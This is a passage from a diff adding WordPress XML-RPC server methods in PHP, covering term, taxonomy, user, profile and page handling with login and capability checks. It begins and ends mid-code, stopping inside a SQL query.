+		do_action( 'xmlrpc_call', 'wp.newTerm' );
+
+		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
+
+		if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) );
+		}
+
+		$taxonomy = (array) $taxonomy;
+
+		// hold the data of the term
+		$term_data = array();
+
+		$term_data['name'] = trim( $content_struct['name'] );
+		if ( empty( $term_data['name'] ) )
+			return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
+
+		if ( isset( $content_struct['parent'] ) ) {
+			if ( ! $taxonomy['hierarchical'] )
+				return new IXR_Error( 403, __( 'This taxonomy is not hierarchical.' ) );
+
+			$parent_term_id = (int) $content_struct['parent'];
+			$parent_term = get_term( $parent_term_id , $taxonomy['name'] );
+
+			if ( is_wp_error( $parent_term ) )
+				return new IXR_Error( 500, $parent_term->get_error_message() );
+
+			if ( ! $parent_term )
+				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
+
+			$term_data['parent'] = $content_struct['parent'];
+		}
+
+		if ( isset( $content_struct['description'] ) )
+			$term_data['description'] = $content_struct['description'];
+
+		if ( isset( $content_struct['slug'] ) )
+			$term_data['slug'] = $content_struct['slug'];
+
+		$term = wp_insert_term( $term_data['name'] , $taxonomy['name'] , $term_data );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 500, __( 'Sorry, your term could not be created.' ) );
+
+		// Add term meta.
+		if ( isset( $content_struct['custom_fields'] ) ) {
+			$this->set_term_custom_fields( $term['term_id'], $content_struct['custom_fields'] );
+		}
+
+		return strval( $term['term_id'] );
+	}
+
+	/**
+	 * Edit a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_update_term()
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id        Blog ID (unused).
+	 *     @type string $username       Username.
+	 *     @type string $password       Password.
+	 *     @type int    $term_id        Term ID.
+	 *     @type array  $content_struct Content struct for editing a term. The struct must contain the
+	 *                                  term ''taxonomy'. Optional accepted values include 'name', 'parent',
+	 *                                  'description', and 'slug'.
+	 * }
+	 * @return true|IXR_Error True on success, IXR_Error instance on failure.
+	 */
+	public function wp_editTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$term_id        = (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editTerm' );
+
+		if ( ! taxonomy_exists( $content_struct['taxonomy'] ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $content_struct['taxonomy'] );
+
+		$taxonomy = (array) $taxonomy;
+
+		// hold the data of the term
+		$term_data = array();
+
+		$term = get_term( $term_id , $content_struct['taxonomy'] );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
+
+		if ( ! current_user_can( 'edit_term', $term_id ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this term.' ) );
+		}
+
+		if ( isset( $content_struct['name'] ) ) {
+			$term_data['name'] = trim( $content_struct['name'] );
+
+			if ( empty( $term_data['name'] ) )
+				return new IXR_Error( 403, __( 'The term name cannot be empty.' ) );
+		}
+
+		if ( ! empty( $content_struct['parent'] ) ) {
+			if ( ! $taxonomy['hierarchical'] )
+				return new IXR_Error( 403, __( 'Cannot set parent term, taxonomy is not hierarchical.' ) );
+
+			$parent_term_id = (int) $content_struct['parent'];
+			$parent_term = get_term( $parent_term_id , $taxonomy['name'] );
+
+			if ( is_wp_error( $parent_term ) )
+				return new IXR_Error( 500, $parent_term->get_error_message() );
+
+			if ( ! $parent_term )
+				return new IXR_Error( 403, __( 'Parent term does not exist.' ) );
+
+			$term_data['parent'] = $content_struct['parent'];
+		}
+
+		if ( isset( $content_struct['description'] ) )
+			$term_data['description'] = $content_struct['description'];
+
+		if ( isset( $content_struct['slug'] ) )
+			$term_data['slug'] = $content_struct['slug'];
+
+		$term = wp_update_term( $term_id , $taxonomy['name'] , $term_data );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 500, __( 'Sorry, editing the term failed.' ) );
+
+		// Update term meta.
+		if ( isset( $content_struct['custom_fields'] ) ) {
+			$this->set_term_custom_fields( $term_id, $content_struct['custom_fields'] );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Delete a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_delete_term()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id      Blog ID (unused).
+	 *     @type string $username     Username.
+	 *     @type string $password     Password.
+	 *     @type string $taxnomy_name Taxonomy name.
+	 *     @type int    $term_id      Term ID.
+	 * }
+	 * @return bool|IXR_Error True on success, IXR_Error instance on failure.
+	 */
+	public function wp_deleteTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$taxonomy           = $args[3];
+		$term_id            = (int) $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteTerm' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+		$term = get_term( $term_id, $taxonomy->name );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
+
+		if ( ! current_user_can( 'delete_term', $term_id ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this term.' ) );
+		}
+
+		$result = wp_delete_term( $term_id, $taxonomy->name );
+
+		if ( is_wp_error( $result ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $result )
+			return new IXR_Error( 500, __( 'Sorry, deleting the term failed.' ) );
+
+		return $result;
+	}
+
+	/**
+	 * Retrieve a term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see get_term()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type string $taxnomy  Taxonomy name.
+	 *     @type string $term_id  Term ID.
+	 * }
+	 * @return array|IXR_Error IXR_Error on failure, array on success, containing:
+	 *  - 'term_id'
+	 *  - 'name'
+	 *  - 'slug'
+	 *  - 'term_group'
+	 *  - 'term_taxonomy_id'
+	 *  - 'taxonomy'
+	 *  - 'description'
+	 *  - 'parent'
+	 *  - 'count'
+	 */
+	public function wp_getTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username           = $args[1];
+		$password           = $args[2];
+		$taxonomy           = $args[3];
+		$term_id            = (int) $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTerm' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		$term = get_term( $term_id , $taxonomy->name, ARRAY_A );
+
+		if ( is_wp_error( $term ) )
+			return new IXR_Error( 500, $term->get_error_message() );
+
+		if ( ! $term )
+			return new IXR_Error( 404, __( 'Invalid term ID.' ) );
+
+		if ( ! current_user_can( 'assign_term', $term_id ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign this term.' ) );
+		}
+
+		return $this->_prepare_term( $term );
+	}
+
+	/**
+	 * Retrieve all terms for a taxonomy.
+	 *
+	 * @since 3.4.0
+	 *
+	 * The optional $filter parameter modifies the query used to retrieve terms.
+	 * Accepted keys are 'number', 'offset', 'orderby', 'order', 'hide_empty', and 'search'.
+	 *
+	 * @see get_terms()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type string $taxnomy  Taxonomy name.
+	 *     @type array  $filter   Optional. Modifies the query used to retrieve posts. Accepts 'number',
+	 *                            'offset', 'orderby', 'order', 'hide_empty', and 'search'. Default empty array.
+	 * }
+	 * @return array|IXR_Error An associative array of terms data on success, IXR_Error instance otherwise.
+	 */
+	public function wp_getTerms( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$taxonomy       = $args[3];
+		$filter         = isset( $args[4] ) ? $args[4] : array();
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTerms' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
+
+		$query = array();
+
+		if ( isset( $filter['number'] ) )
+			$query['number'] = absint( $filter['number'] );
+
+		if ( isset( $filter['offset'] ) )
+			$query['offset'] = absint( $filter['offset'] );
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['hide_empty'] ) )
+			$query['hide_empty'] = $filter['hide_empty'];
+		else
+			$query['get'] = 'all';
+
+		if ( isset( $filter['search'] ) )
+			$query['search'] = $filter['search'];
+
+		$terms = get_terms( $taxonomy->name, $query );
+
+		if ( is_wp_error( $terms ) )
+			return new IXR_Error( 500, $terms->get_error_message() );
+
+		$struct = array();
+
+		foreach ( $terms as $term ) {
+			$struct[] = $this->_prepare_term( $term );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve a taxonomy.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see get_taxonomy()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type string $taxnomy  Taxonomy name.
+	 *     @type array  $fields   Optional. Array of taxonomy fields to limit to in the return.
+	 *                            Accepts 'labels', 'cap', 'menu', and 'object_type'.
+	 *                            Default empty array.
+	 * }
+	 * @return array|IXR_Error An array of taxonomy data on success, IXR_Error instance otherwise.
+	 */
+	public function wp_getTaxonomy( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$taxonomy = $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filters the taxonomy query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array  $fields An array of taxonomy fields to retrieve.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomy' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTaxonomy' );
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
+
+		$taxonomy = get_taxonomy( $taxonomy );
+
+		if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
+
+		return $this->_prepare_taxonomy( $taxonomy, $fields );
+	}
+
+	/**
+	 * Retrieve all taxonomies.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see get_taxonomies()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type array  $filter   Optional. An array of arguments for retrieving taxonomies.
+	 *     @type array  $fields   Optional. The subset of taxonomy fields to return.
+	 * }
+	 * @return array|IXR_Error An associative array of taxonomy data with returned fields determined
+	 *                         by `$fields`, or an IXR_Error instance on failure.
+	 */
+	public function wp_getTaxonomies( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$filter   = isset( $args[3] ) ? $args[3] : array( 'public' => true );
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomies' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getTaxonomies' );
+
+		$taxonomies = get_taxonomies( $filter, 'objects' );
+
+		// holds all the taxonomy data
+		$struct = array();
+
+		foreach ( $taxonomies as $taxonomy ) {
+			// capability check for post_types
+			if ( ! current_user_can( $taxonomy->cap->assign_terms ) )
+				continue;
+
+			$struct[] = $this->_prepare_taxonomy( $taxonomy, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Retrieve a user.
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array. This should be a list of field names. 'user_id' will
+	 * always be included in the response regardless of the value of $fields.
+	 *
+	 * Instead of, or in addition to, individual field names, conceptual group
+	 * names can be used to specify multiple fields. The available conceptual
+	 * groups are 'basic' and 'all'.
+	 *
+	 * @uses get_userdata()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $user_id
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error Array contains (based on $fields parameter):
+	 *  - 'user_id'
+	 *  - 'username'
+	 *  - 'first_name'
+	 *  - 'last_name'
+	 *  - 'registered'
+	 *  - 'bio'
+	 *  - 'email'
+	 *  - 'nickname'
+	 *  - 'nicename'
+	 *  - 'url'
+	 *  - 'display_name'
+	 *  - 'roles'
+	 */
+	public function wp_getUser( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$user_id  = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filters the default user query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param array  $fields User query fields for given method. Default 'all'.
+			 * @param string $method The method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUser' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getUser' );
+
+		if ( ! current_user_can( 'edit_user', $user_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this user.' ) );
+
+		$user_data = get_userdata( $user_id );
+
+		if ( ! $user_data )
+			return new IXR_Error( 404, __( 'Invalid user ID.' ) );
+
+		return $this->_prepare_user( $user_data, $fields );
+	}
+
+	/**
+	 * Retrieve users.
+	 *
+	 * The optional $filter parameter modifies the query used to retrieve users.
+	 * Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role',
+	 * 'who', 'orderby', and 'order'.
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array.
+	 *
+	 * @uses get_users()
+	 * @see wp_getUser() for more on $fields and return values
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $filter (optional)
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error users data
+	 */
+	public function wp_getUsers( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$filter   = isset( $args[3] ) ? $args[3] : array();
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUsers' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getUsers' );
+
+		if ( ! current_user_can( 'list_users' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to list users.' ) );
+
+		$query = array( 'fields' => 'all_with_meta' );
+
+		$query['number'] = ( isset( $filter['number'] ) ) ? absint( $filter['number'] ) : 50;
+		$query['offset'] = ( isset( $filter['offset'] ) ) ? absint( $filter['offset'] ) : 0;
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['role'] ) ) {
+			if ( get_role( $filter['role'] ) === null )
+				return new IXR_Error( 403, __( 'Invalid role.' ) );
+
+			$query['role'] = $filter['role'];
+		}
+
+		if ( isset( $filter['who'] ) ) {
+			$query['who'] = $filter['who'];
+		}
+
+		$users = get_users( $query );
+
+		$_users = array();
+		foreach ( $users as $user_data ) {
+			if ( current_user_can( 'edit_user', $user_data->ID ) )
+				$_users[] = $this->_prepare_user( $user_data, $fields );
+		}
+		return $_users;
+	}
+
+	/**
+	 * Retrieve information about the requesting user.
+	 *
+	 * @uses get_userdata()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $fields (optional)
+	 * }
+	 * @return array|IXR_Error (@see wp_getUser)
+	 */
+	public function wp_getProfile( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( isset( $args[3] ) ) {
+			$fields = $args[3];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getProfile' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getProfile' );
+
+		if ( ! current_user_can( 'edit_user', $user->ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
+
+		$user_data = get_userdata( $user->ID );
+
+		return $this->_prepare_user( $user_data, $fields );
+	}
+
+	/**
+	 * Edit user's profile.
+	 *
+	 * @uses wp_update_user()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $content_struct It can optionally contain:
+	 *      - 'first_name'
+	 *      - 'last_name'
+	 *      - 'website'
+	 *      - 'display_name'
+	 *      - 'nickname'
+	 *      - 'nicename'
+	 *      - 'bio'
+	 * }
+	 * @return true|IXR_Error True, on success.
+	 */
+	public function wp_editProfile( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editProfile' );
+
+		if ( ! current_user_can( 'edit_user', $user->ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
+
+		// holds data of the user
+		$user_data = array();
+		$user_data['ID'] = $user->ID;
+
+		// only set the user details if it was given
+		if ( isset( $content_struct['first_name'] ) )
+			$user_data['first_name'] = $content_struct['first_name'];
+
+		if ( isset( $content_struct['last_name'] ) )
+			$user_data['last_name'] = $content_struct['last_name'];
+
+		if ( isset( $content_struct['url'] ) )
+			$user_data['user_url'] = $content_struct['url'];
+
+		if ( isset( $content_struct['display_name'] ) )
+			$user_data['display_name'] = $content_struct['display_name'];
+
+		if ( isset( $content_struct['nickname'] ) )
+			$user_data['nickname'] = $content_struct['nickname'];
+
+		if ( isset( $content_struct['nicename'] ) )
+			$user_data['user_nicename'] = $content_struct['nicename'];
+
+		if ( isset( $content_struct['bio'] ) )
+			$user_data['description'] = $content_struct['bio'];
+
+		$result = wp_update_user( $user_data );
+
+		if ( is_wp_error( $result ) )
+			return new IXR_Error( 500, $result->get_error_message() );
+
+		if ( ! $result )
+			return new IXR_Error( 500, __( 'Sorry, the user cannot be updated.' ) );
+
+		return true;
+	}
+
+	/**
+	 * Retrieve page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $page_id
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPage( $args ) {
+		$this->escape( $args );
+
+		$page_id  = (int) $args[1];
+		$username = $args[2];
+		$password = $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		$page = get_post($page_id);
+		if ( ! $page )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_page', $page_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPage' );
+
+		// If we found the page then format the data.
+		if ( $page->ID && ($page->post_type == 'page') ) {
+			return $this->_prepare_page( $page );
+		}
+		// If the page doesn't exist indicate that.
+		else {
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+		}
+	}
+
+	/**
+	 * Retrieve Pages.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $num_pages
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPages( $args ) {
+		$this->escape( $args );
+
+		$username  = $args[1];
+		$password  = $args[2];
+		$num_pages = isset($args[3]) ? (int) $args[3] : 10;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPages' );
+
+		$pages = get_posts( array('post_type' => 'page', 'post_status' => 'any', 'numberposts' => $num_pages) );
+		$num_pages = count($pages);
+
+		// If we have pages, put together their info.
+		if ( $num_pages >= 1 ) {
+			$pages_struct = array();
+
+			foreach ($pages as $page) {
+				if ( current_user_can( 'edit_page', $page->ID ) )
+					$pages_struct[] = $this->_prepare_page( $page );
+			}
+
+			return $pages_struct;
+		}
+
+		return array();
+	}
+
+	/**
+	 * Create new page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @see wp_xmlrpc_server::mw_newPost()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $content_struct
+	 * }
+	 * @return int|IXR_Error
+	 */
+	public function wp_newPage( $args ) {
+		// Items not escaped here will be escaped in newPost.
+		$username = $this->escape( $args[1] );
+		$password = $this->escape( $args[2] );
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newPage' );
+
+		// Mark this as content for a page.
+		$args[3]["post_type"] = 'page';
+
+		// Let mw_newPost do all of the heavy lifting.
+		return $this->mw_newPost( $args );
+	}
+
+	/**
+	 * Delete page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $page_id
+	 * }
+	 * @return true|IXR_Error True, if success.
+	 */
+	public function wp_deletePage( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$page_id  = (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deletePage' );
+
+		// Get the current page based on the page_id and
+		// make sure it is a page and not a post.
+		$actual_page = get_post($page_id, ARRAY_A);
+		if ( !$actual_page || ($actual_page['post_type'] != 'page') )
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+
+		// Make sure the user can delete pages.
+		if ( !current_user_can('delete_page', $page_id) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this page.' ) );
+
+		// Attempt to delete the page.
+		$result = wp_delete_post($page_id);
+		if ( !$result )
+			return new IXR_Error( 500, __( 'Failed to delete the page.' ) );
+
+		/**
+		 * Fires after a page has been successfully deleted via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $page_id ID of the deleted page.
+		 * @param array $args    An array of arguments to delete the page.
+		 */
+		do_action( 'xmlrpc_call_success_wp_deletePage', $page_id, $args );
+
+		return true;
+	}
+
+	/**
+	 * Edit page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $page_id
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type string $content
+	 *     @type string $publish
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_editPage( $args ) {
+		// Items will be escaped in mw_editPost.
+		$page_id  = (int) $args[1];
+		$username = $args[2];
+		$password = $args[3];
+		$content  = $args[4];
+		$publish  = $args[5];
+
+		$escaped_username = $this->escape( $username );
+		$escaped_password = $this->escape( $password );
+
+		if ( !$user = $this->login( $escaped_username, $escaped_password ) ) {
+			return $this->error;
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editPage' );
+
+		// Get the page data and make sure it is a page.
+		$actual_page = get_post($page_id, ARRAY_A);
+		if ( !$actual_page || ($actual_page['post_type'] != 'page') )
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+
+		// Make sure the user is allowed to edit pages.
+		if ( !current_user_can('edit_page', $page_id) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
+
+		// Mark this as content for a page.
+		$content['post_type'] = 'page';
+
+		// Arrange args in the way mw_editPost understands.
+		$args = array(
+			$page_id,
+			$username,
+			$password,
+			$content,
+			$publish
+		);
+
+		// Let mw_editPost do all of the heavy lifting.
+		return $this->mw_editPost( $args );
+	}
+
+	/**
+	 * Retrieve page list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageList( $args ) {
+		global $wpdb;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPageList' );
+
+		// Get list of pages ids and titles
+		$page_list = $wpdb->get_results("
+			SELECT ID page_id,
